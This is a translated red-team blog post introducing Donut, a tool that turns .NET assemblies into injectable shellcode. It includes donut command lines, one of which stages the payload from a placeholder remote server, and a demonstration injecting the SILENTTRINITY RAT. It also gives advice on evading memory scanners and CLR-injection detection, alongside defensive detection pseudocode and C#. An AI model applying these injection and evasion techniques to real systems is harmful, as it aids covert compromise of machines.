前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Donut - 将 .NET 程序集作为 Shellcode 注入

Donut - 将 .NET 程序集作为 Shellcode 注入

作者头像
Khan安全团队
发布2022-01-17 22:28:19
发布2022-01-17 22:28:19
2.2K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

推进 Tradecraft - 上下文

在过去的一年里,进攻和红队的交易技巧发生了显着变化。随着反恶意软件系统提高检测和阻止攻击性工具的能力,攻击者正在将注意力转移到 AV 无法观察到的技术上。目前,这意味着完全在内存中操作并避免将文件放到磁盘上。在 Windows 世界中,.NET 框架为此提供了一种方便的机制。但是,它受到严格限制,因为 .NET 程序不能直接注入远程进程。在本文中,我们将通过描述如何通过 shellcode 将 .NET 代码注入进程来解决这个问题。

.NET 入门

在开始之前,您必须了解 .NET 的一些重要组件。

  • 公共语言运行时:与 Java 一样,.NET 使用运行时环境(或“虚拟机”)在运行时解释代码。所有 .NET 代码在执行前都从一种中间语言编译为“即时”本机代码。
  • 通用中间语言:说到中间语言,.NET 使用 CIL(也称为 MSIL)。所有 .NET 语言(其中有很多)都“组装”成这种中间语言。CIL 是一种通用的面向对象的汇编语言,可以解释为任何硬件架构的机器代码。因此,.NET 语言的设计者不需要围绕他们将运行的架构来设计他们的编译器。相反,他们只需将其设计为编译为一种语言:CIL。
  • .NET程序集:.NET 应用程序被打包成 .NET 程序集。之所以这样称呼它们,是因为您选择的语言中的代码已“组装”到 CIL 中,但并未真正编译。程序集使用 PE 格式的扩展,并表示为包含 CIL 而不是本机机器代码的 EXE 或 DLL。
  • 应用程序域:程序集在称为应用程序域的安全“盒子”内运行。一个 AppDomain 中可以存在多个 Assembly,一个进程中可以存在多个 AppDomain。AppDomain 旨在在执行程序集之间提供与通常为进程提供的相同级别的隔离。线程可以在 AppDomain 之间移动,并且可以通过编组和委托共享对象。

.NET Tradecraft 的当前状态

目前,.NET tradecraft 仅限于通过以下两种主要方式之一进行利用后执行:

  • Assembly.Load():.NET Framework 的标准库包括一个用于代码反射的 API 。此反射 API 包括 System.Reflection.Assembly.Load,可用于从内存加载 .NET 程序。只需不到五行代码,您就可以从内存中加载一个 .NET DLL 或 EXE 并执行它。
  • 执行程序集:在 Cobalt Strike 3.11 中,Raphael Mudge 引入了一个名为“执行程序集”的命令,该命令可以从内存中运行 .NET 程序集,就像从磁盘中运行它们一样。

然而,这两种执行向量都为寻求开发灵活 TTP 的红队带来了挑战。

装配.加载

虽然反射 API 非常通用并且可以在许多不同的方式中使用,但它只能在当前进程中运行代码。不支持在远程进程中运行有效负载。

执行程序集

execute-assembly 的主要问题是它每次都以相同的方式执行。这种可预测性确保了它的可靠性,但也让防御者能够构建分析。

  1. 使用spawnto可执行文件创建子进程。Mudge 将此称为“牺牲进程”,因为它充当有效负载的主机,将 Beacon 进程与代码中的任何故障隔离开来。
  2. 反射 DLL 被注入子进程以加载 .NET 运行时。
  3. 反射 DLL 加载中间 .NET 程序集以处理错误并提高有效负载的稳定性。
  4. 中间 .NET 程序集从子进程内的内存中加载您的 .NET 程序集。
  5. 您的程序集的主要入口点与您的命令行参数一起被调用。

结果是 execute-assembly确实允许您将 .NET 程序集注入远程进程。但是,它不允许您注入正在运行的进程或指定注入的发生方式。它只是你可以运行的模块化而不是你如何运行它。您最多可以做的是通过更改 Malleable C2 配置文件中的spawnto变量来指定为您的牺牲子进程运行的可执行文件。execute-assembly 还为您的有效负载设置了 1 MB 的隐藏大小限制,这限制了您在设计后期利用工具时的灵活性。

向前进

为了克服这些限制,我们需要一种满足以下要求的技术:

  • 允许您从内存中运行 .NET 代码。
  • 可以与任何 Windows 进程一起使用,无论其体系结构如何以及是否加载了 CLR。
  • 允许您将该代码注入远程(不同)进程或本地(当前)进程。
  • 允许您确定注入发生的方式。
  • 适用于多种类型的进程注入。

满足这些要求的最灵活的有效载荷类型是 shellcode。但是您不能只将 .NET 程序集转换为 shellcode。它们在运行时环境中运行,而不是直接在硬件上运行。如果我们可以将 .NET 程序集作为 shellcode 注入,那不是很好吗?是的。是的,它会的。

介绍甜甜圈

Shortly before publishing donut, Odzhan and I became aware of another team working on a shellcode generator for .NET Assemblies. They were at the same stage of their project at us. We both agreed that whomever of us published first would ensure that the other received due credit for their work. As soon as they publish their tool, we will update this article with a link. This project is CLRVoyance, published by Accenture: 链接到回购。

Donut 是一个 shellcode 生成工具,可以从 .NET 程序集创建 x86 或 x64 shellcode 有效负载。此 shellcode 可用于将程序集注入任意 Windows 进程。给定任意 .NET 程序集、参数和入口点(例如 Program.Main),它会生成与位置无关的 shellcode,从内存中加载它。.NET 程序集既可以从 URL 暂存,也可以通过直接嵌入到 shellcode 中无阶段进行。无论哪种方式,.NET 程序集都使用 Chaskey 块密码和 128 位随机生成的密钥进行加密。在通过 CLR 加载程序集后,原始引用将从内存中删除以阻止内存扫描器。程序集被加载到一个新的应用程序域中,以允许在一次性 AppDomains 中运行程序集。

Donut 目前的版本为 0.9(Beta)。请将任何问题或建议作为 GitHub 上的问题与我们分享。一旦我们收到反馈,我们将发布 1.0 版。

怎么运行的

非托管主机 API

Microsoft 提供了一种称为Unmanaged CLR Hosting API 的 API。此 API 允许非托管代码(例如 C 或 C++)托管、检查、配置和使用公共语言运行时。它是一个合法的 API,可用于多种用途。Microsoft 将它用于他们的一些产品,而其他公司则使用它来为他们的程序设计自定义加载程序。它可用于提高 .NET 应用程序的性能、创建沙箱或只是做一些奇怪的事情。我们做后者。

它可以做的一件事是手动将 .NET 程序集加载到任意应用程序域中。它可以从磁盘或内存中执行此操作。我们利用其从内存加载的能力来加载您的有效负载,而无需接触磁盘。

要查看非托管 CLR 托管程序集加载器的独立示例,请查看 Casey Smith 的存储库:AssemblyLoader

CLR 注入

donut 的 shellcode 执行的第一个操作是加载 CLR。除非用户指定要使用的确切运行时版本,否则将默认使用 v4.0.30319 的 CLR,它支持 .NET 4.0+ 版本。如果尝试加载特定版本失败,则 donut 将尝试使用系统上可用的版本。一旦加载了 CLR,shellcode 就会创建一个新的应用程序域。此时,必须获取 .NET 程序集有效负载。如果用户提供了暂存 URL,则会从中下载程序集。否则,它是从内存中获取的。无论哪种方式,它都会加载到新的 AppDomain 中。在程序集加载之后但在它运行之前,解密的副本将被释放,然后使用 VirtualFree 从内存中释放以阻止内存扫描器。最后,

如果 CLR 已经加载到宿主进程中,那么 donut 的 shellcode 仍然可以工作。.NET 程序集将被加载到托管进程内的新应用程序域中。.NET 旨在允许为多个 .NET 版本构建的 .NET 程序集在同一进程中同时运行。因此,无论注入前进程的状态如何,您的有效负载都应始终运行。

Shellcode 生成

上面的逻辑描述了 donut 生成的 shellcode 是如何工作的。该逻辑在 payload.exe 中定义。为了获取 shellcode,exe2h 从 payload.exe 中的 .text 段中提取已编译的机器代码,并将其作为 C 数组保存到 C 头文件中。donut 将 shellcode 与 Donut Instance(shellcode 的配置)和 Donut Module(包含 .NET 程序集、类名、方法名和任何参数的结构)结合在一起。

使用甜甜圈

Donut 可以按原样用于从任意 .NET 程序集生成 shellcode。为生成有效负载提供了 Windows EXE 和 Python(计划用于 v1.0 的 Python)脚本。命令行语法如下所述。

代码语言:javascript
代码运行次数:0
运行
复制
 usage: donut [options] -f <.NET assembly> -c <namespace.class> -m <Method>

       -f <path>            .NET assembly to embed in PIC and DLL.
       -u <URL>             HTTP server hosting the .NET assembly.
       -c <namespace.class> The assembly class name.
       -m <method>          The assembly method name.
       -p <arg1,arg2...>    Optional parameters for method, separated by comma or semi-colon.
       -a <arch>            Target architecture : 1=x86, 2=amd64(default).
       -r <version>         CLR runtime version. v4.0.30319 is used by default.
       -d <name>            AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -a 1 -c TestClass -m RunProcess -p notepad.exe -f loader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

生成 Shellcode

要使用 donut 生成 shellcode,您必须指定一个 .NET 程序集、一个入口点以及您希望使用的任何参数。如果您的程序集使用Test命名空间并包含带有Main方法的Program类,那么您将使用以下选项:

代码语言:javascript
代码运行次数:0
运行
复制
donut.exe -f Test.exe -c Test.Program -m Main

要为 32 位进程生成相同的 shellcode,请使用“-a”选项:

代码语言:javascript
代码运行次数:0
运行
复制
donut.exe -a 1 -f Test.exe -c Test.Program -m Main

您还可以为您指定的任何入口点提供参数。当前每个参数的最大长度为 32 个字符。为了演示此功能,您可以使用以下选项和我们的示例程序集来创建将生成记事本进程和 Calc 进程的 shellcode:

代码语言:javascript
代码运行次数:0
运行
复制
.\donut.exe -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

在生成 shellcode 以运行较旧的 Windows 机器时,您可能需要它使用 CLR 的 v2,而不是 v4。v2 适用于 .NET Framework <= 3.5 的版本,而 v4 适用于 >= 4.0 的版本。默认情况下,donut 使用 CLR 版本 4。您可以告诉它使用带有“-r”选项的 v2 并指定“v2.0.50727”作为参数。

代码语言:javascript
代码运行次数:0
运行
复制
.\donut.exe -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

可以使用“-d”选项手动指定 .NET 有效负载的 AppDomain 名称。默认情况下,它将随机生成。您可以指定一个名称。

代码语言:javascript
代码运行次数:0
运行
复制
.\donut.exe -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

为了减少你的 shellcode 的大小(或出于许多其他原因),你可以指定一个 URL 来托管你的有效负载。Donut 将生成一个带有随机名称的加密 Donut 模块,您应该将其放置在您指定的 URI 中。当您生成 shellcode 时,您应该放置它的名称和位置将打印到您的屏幕上。

代码语言:javascript
代码运行次数:0
运行
复制
.\donut.exe -u http://remote_server.com/modules/ -d ResourceDomain -r v2.0.50727 -f .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe

用 SILENTTRINITY 演示

作为演示,我们将使用SILENTTRINITY RAT作为测试有效载荷。因为它是我能找到的最……啊……复杂的 .NET 程序集,所以我将它用于所有测试。您可以使用任何标准的 shellcode 注入技术来注入 .NET 程序集。DonutTest 子项目在 repo 中作为示例注入器提供。您可以将它与 DonutTest 子项目结合起来测试 shellcode 生成器。在我们的例子中,我们将首先使用 DonutTest 注入资源管理器。我们还展示了使用现有植入物使用boo/shellcodeipy/execute-assemblypost-exploitation 模块进行进一步注射的情况。

一代

首先,我们将使用 SILENTTRINITY DLL 生成 x64 PIC。使用 PowerShell,我们将对结果进行 base64 编码并将其通过管道传输到我们的剪贴板。

因为我们不知道哪些进程可以注入到目标中,所以我们还将生成一个 x86 PIC 以备不时之需。

如果您愿意,您可以通过提供 URL 并将 Donut 模块复制到指定位置来使用登台服务器。

选择主机进程

使用在 donut repo 中提供的子项目 ProcessManager 来枚举流程。ProcessManager 枚举所有正在运行的进程并尽最大努力获取有关它们的信息。它专门设计用于帮助确定注入/迁移到哪个进程。下图展示了它的一般用法。

注射

首先,我们将使用 DonutTest 注入使用 DonutTest 的资源管理器。我们将上面编码的 shellcode 粘贴到 DonutTest 中,并为我们的测试重新构建它。

如您所见,注入成功:

现在假设我们已经在机器上运行了一个代理。我们可以使用 SILENTTRINITY 的后期开发模块将植入物注入到正在运行的进程中

用作库

donut 作为 ( .a / .so ) 和 Windows ( .lib / .dll ) 的动态和静态库提供。它有一个在docs\api.html中描述的简单 API 。提供了两个导出函数,int DonutCreate(PDONUT_CONFIG c)int DonutDelete(PDONUT_CONFIG c).

重建shellcode

您可以轻松自定义我们的 shellcode 以适应您的用例。payload.c包含 .NET 程序集加载器,它应该可以使用 Microsoft Visual Studio 和 mingw-w64 成功编译。两个编译器都提供了 Make 文件,默认情况下它们将生成 x86-64 shellcode,除非 x86 作为标签提供给 nmake/make。每当更改了payload.c时,建议在重建 donut 之前重新编译所有架构。

微软视觉工作室

打开 x64 Microsoft Visual Studio 构建环境,切换到有效负载目录,然后键入以下内容:

代码语言:javascript
代码运行次数:0
运行
复制
nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

这应该会从payload.c生成一个 64 位的可执行文件 ( payload.exe ) 。然后 exe2h 将从 PE 文件的.text段中提取 shellcode 并将其作为 C 数组保存到payload_exe_x64.h。当 donut 重建时,这个新的 shellcode 将用于它生成的所有有效负载。

要生成 32 位 shellcode,请打开 x86 Microsoft Visual Studio 构建环境,切换到有效负载目录,然后键入以下内容:

代码语言:javascript
代码运行次数:0
运行
复制
nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

这会将 shellcode 作为 C 数组保存到payload_exe_x86.h

明威-w64

假设你在 Linux 上并且mingw-w64已经从包或源安装,你仍然可以使用我们提供的 makefile 重建 shellcode。切换到有效负载目录并键入以下内容:

代码语言:javascript
代码运行次数:0
运行
复制
make clean -f Makefile.mingw
make -f Makefile.mingw

为所有架构重新编译后,您可以重新构建甜甜圈。

集成到工具中

我们希望甜甜圈(或受其启发的东西)将集成到工具中以提供注入迁移功能。为此,我们建议采用以下方法之一:

  • 作为操作员,使用生成器手动生成 shellcode。
  • 在您的 C2 服务器上动态生成 shellcode,将其传递给现有的植入程序,然后将其注入另一个进程。
  • 使用我们的动态或静态库。
  • 作为构建您自己的 shellcode / 生成器的模板。
  • 使用我们的 Python(计划用于 v1.0 的 Python)扩展来动态生成 shellcode。

推进贸易

我们希望向公众发布甜甜圈将通过以下几种方式推进进攻和红队交易:

  • 为红队和对手模拟器提供一种方法来模拟威胁参与者可能秘密开发的这种技术。
  • 为蓝队提供检测和缓解 CLR 注入技术的参考框架。
  • 激励工具开发人员开发新型技术和工艺。

替代有效载荷

使用 .NET 程序集作为 shellcode 的主要好处是它们现在可以被任何可以在 Windows 上执行 shellcode 的东西执行。注入 shellcode 的方法比加载程序集的方法多得多。因此,攻击性工具设计者不再需要围绕运行 .NET 来设计他们的有效载荷。相反,他们可以利用现有的有效载荷和使用 shellcode 的技术。

随意注入 .NET / 迁移

Donut 还将允许 C2 框架/RAT 的开发人员将类似迁移的功能添加到他们的工具中。通过使用 Donut 作为服务器上的库(或调用生成器),然后将结果提供给现有代理,它可以将自身的新实例注入另一个正在运行的进程中。只要 I/O 被正确重定向,这也可用于注入任意后期利用模块。

一次性应用程序域

当 donut 加载一个程序集时,它会将它加载到一个新的 AppDomain 中。除非用户使用“-d”参数指定 AppDomain 的名称,否则 AppDomain 会被赋予一个随机名称。我们专门设计了 donut 以在新的 AppDomain 中运行有效负载,而不是使用 DefaultDomain。如果这不适合您,您可以轻松修改 payload.c 以使用默认域。通过在其自己的 AppDomain 中运行有效负载,这允许开发在一次性 AppDomain 中运行后利用模块的工具。可以卸载应用程序域,但不能卸载单个程序集。因此,要在完成后卸载程序集,您必须将其放入自己的 AppDomain 并卸载它。AC# 代理可以在其服务器上生成 shellcode,将结果注入到自己的新线程中,等待程序集完成执行,然后卸载主机 AppDomain。您还可以修改 shellcode 本身来执行该角色。

检测 CLR 注入

甜甜圈的配套项目之一是 ModuleMonitor。它使用 WMI 事件 Win32_ModuleLoadTrace 来监视模块加载。它提供过滤器、详细数据,并具有监控 CLR 注入攻击的选项。

CLR Sentry 选项遵循一些简单的逻辑:如果进程加载 CLR,但程序不是 .NET 程序,则 CLR 已被注入其中。

虽然有用,但同时存在误报和误报:

  • 误报:非托管 CLR 托管 API 有(很少)合法用途。如果没有,那么微软就不会成功。CLR Sentry 将注意到每个加载 CLR 的非托管程序。
  • 误报:这不会注意到将 .NET 代码注入到已加载 CLR 的进程中。因此,不要使用反射 API,也不要在使用 donut 将 shellcode 注入托管进程时使用。

请注意:这作为概念验证来演示 CLR 注入产生的异常行为以及如何检测到它。它不应该以任何方式在生产环境中使用。您可以使用 Sysmon 或 ETW 的 Image Load 事件执行相同的逻辑。它们将更容易扩展并与企业工具集成。

我不是捍卫者,但以下伪代码是我尝试遵循此逻辑的分析。与 CLR 关联的 DLL 均以“msco”开头,例如“mscorlib.dll”和“mscoree.dll”。因此,我们观察它们的加载,然后检查加载它们的程序是否是有效的 .NET 程序集。

代码语言:javascript
代码运行次数:0
运行
复制
void CLR_Injection:
    WHEN Image_Load event:
        if event.Module.Name contains "msco*.dll":
        {
            if !(IsValidAssembly(event.Process.FilePath)):
            {
                print "A CLR has been injected into " + event.Process.Id
            }
        }

下面的代码片段代表了我在 C# 中对这个逻辑的实现。完整的代码可以在 ModuleMonitor 中找到。

代码语言:javascript
代码运行次数:0
运行
复制
//CLR Sentry
//Author: TheWover
 while (true)
        {
            //Get the module load.
            Win32_ModuleLoadTrace trace = GetNextModuleLoad();

            //Split the file path into parts delimited by a '\'
            string[] parts = trace.FileName.Split('\\');

            //Check whether it is a .NET Runtime DLL
            if (parts[parts.Length - 1].Contains("msco"))
            {
                //Get a 
                Process proc = Process.GetProcessById((int) trace.ProcessID);

                //Check if the file is a .NET Assembly
                if (!IsValidAssembly(proc.StartInfo.FileName))
                {
                    //If it is not, then the CLR has been injected.
                    Console.WriteLine();

                    Console.WriteLine("[!] CLR Injection has been detected!");

                    //Display information from the event
                    Console.WriteLine("[>] Process {0} has loaded the CLR but is not a .NET Assembly:", trace.ProcessID);
                }
            }
        }

需要注意的是,这种行为代表了所有 CLR 注入技术,其中有几种。这种检测应该适用于甜甜圈,以及其他工具,例如 Cobalt Strike 的“执行组装”命令。

操作安全注意事项

ModuleMonitor 演示了关于 CLR 注入的重要一点:当针对非托管进程执行时,CLR 注入会产生高度异常的进程行为。在进程初始执行之后或从非托管代码加载 CLR 是不寻常的。很少有合法的用例。从防御者的角度来看,这允许您构建一个分析来监控上一节中描述的行为。

但是,正如我所提到的,此分析无法检测到已加载 CLR 的进程中的 CLR 注入。因此,操作员可以通过简单地注入已经管理的流程来逃避分析。我会推荐以下标准操作程序:

  1. 从内存中运行 ProcessManager 以枚举进程。记下您可以注入的内容。
  2. 如果有任何流程已被管理,则将它们视为一组潜在目标。
  3. 如果没有任何托管进程,则所有进程都是潜在目标。
  4. 无论哪种方式,注入/迁移到最有可能自然产生网络流量并且寿命最长的进程中。

或者简单地说:

  • 只要有可能,最好将 .NET 程序集注入到已加载 CLR 的进程中。

结论

进攻性的 .NET 技术面临着几个重要的挑战。其中之一是缺乏随意注入远程进程的方法。虽然这通常可以使用 shellcode 执行,但无法生成可以直接在硬件上运行 .NET 程序集的 shellcode。任何运行 .NET 程序集的 shellcode 必须首先引导公共语言运行时并通过它加载程序集。输入甜甜圈。使用 Donut,我们现在有了一个框架来生成灵活的 shellcode,它可以从内存中加载 .NET 程序集。这可以与现有技术和工具相结合,以多种方式推进贸易。希望这将打破当前基于 .NET 的开发障碍,并为工具设计人员提供制作更优秀工具的基础。

本文系外文翻译,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系外文翻译前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 推进 Tradecraft - 上下文
    • .NET 入门
    • .NET Tradecraft 的当前状态
    • 装配.加载
    • 执行程序集
    • 向前进
  • 介绍甜甜圈
  • 怎么运行的
    • 非托管主机 API
    • CLR 注入
    • Shellcode 生成
  • 使用甜甜圈
    • 生成 Shellcode
    • 用 SILENTTRINITY 演示
      • 一代
      • 选择主机进程
      • 注射
    • 用作库
    • 重建shellcode
      • 微软视觉工作室
      • 明威-w64
    • 集成到工具中
  • 推进贸易
    • 替代有效载荷
    • 随意注入 .NET / 迁移
    • 一次性应用程序域
    • 检测 CLR 注入
    • 操作安全注意事项
  • 结论
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档